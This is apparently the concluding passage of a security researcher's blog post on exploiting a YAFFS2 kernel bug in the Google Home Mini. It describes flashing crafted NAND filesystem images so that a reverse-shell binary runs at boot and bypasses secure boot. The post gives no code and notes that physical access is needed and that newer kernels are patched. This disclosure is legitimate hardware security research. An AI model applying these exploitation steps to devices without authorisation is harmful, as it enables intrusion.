  • The YAFFS2 /factory_setting partition is remounted with the exec flag.
  • The ELF /factory_setting/s binary is executed.

This ELF binary is a simple reverse shell. An image of the /factory_setting partition that contains it is generated at the end of the GenFilesystem.py script.

Running the Exploit

The actual attack against the Google Home Mini goes as follow.

Getting a shell on the Google Home Mini
  • An educated guess about where a valid yaffs_object could be available in lowmem is made. The emulated QEMU firmware can be used to have a rough idea of where to start searching.
  • Corresponding filesystem images are generated with GenFilesystem.py.
  • These images are next flashed to the Google Home NAND Flash.
  • The device is booted and, with some luck, a reverse shell will become available after a short while.
  • If not, the Google Home can be simply be power cycled. After a few unsuccessful attempts another yaffs_object address guess can be tried.

For a good yaffs_object address guess, the success rate seems to be between 5 to 10%.

This is obviously rather low and it could very likely be improved with better Kernel-side exploitation techniques.

However, I believe this is still a valid proof of concept. Arbitrary code execution is possible.

Conclusion

After having introduced NandBug in my previous post, the following has been achieved.

  • The YAFFS2 Kernel code used by the Google Home Mini has been fuzzed.
  • A new vulnerability has been found in this code.
  • This vulnerability has been exploited to allow for custom code execution on the Google Home Mini, bypassing the secure boot.

In the case of the Google Home Mini, this vulnerability doesn't seem to be a very serious security threat for the end user considering that:

  • Exploiting it requires a physical access. In my case, I used NandBug.
  • The success rate of the exploit is low (even though it could maybe be improved with better Kernel-side exploitation techniques).
  • New Google's Kernels and YAFFS2 upstream code aren't vulnerable anymore.

However, beside being an interesting technical challenge and demonstrating a practical filesystem bug exploitation, having achieved custom code execution on this locked platform can still be useful.

For instance, ones may desire to acquire a better understanding of the undocumented Google Home Mini SoC, or perform dynamic analysis of the firmware running on the actual hardware.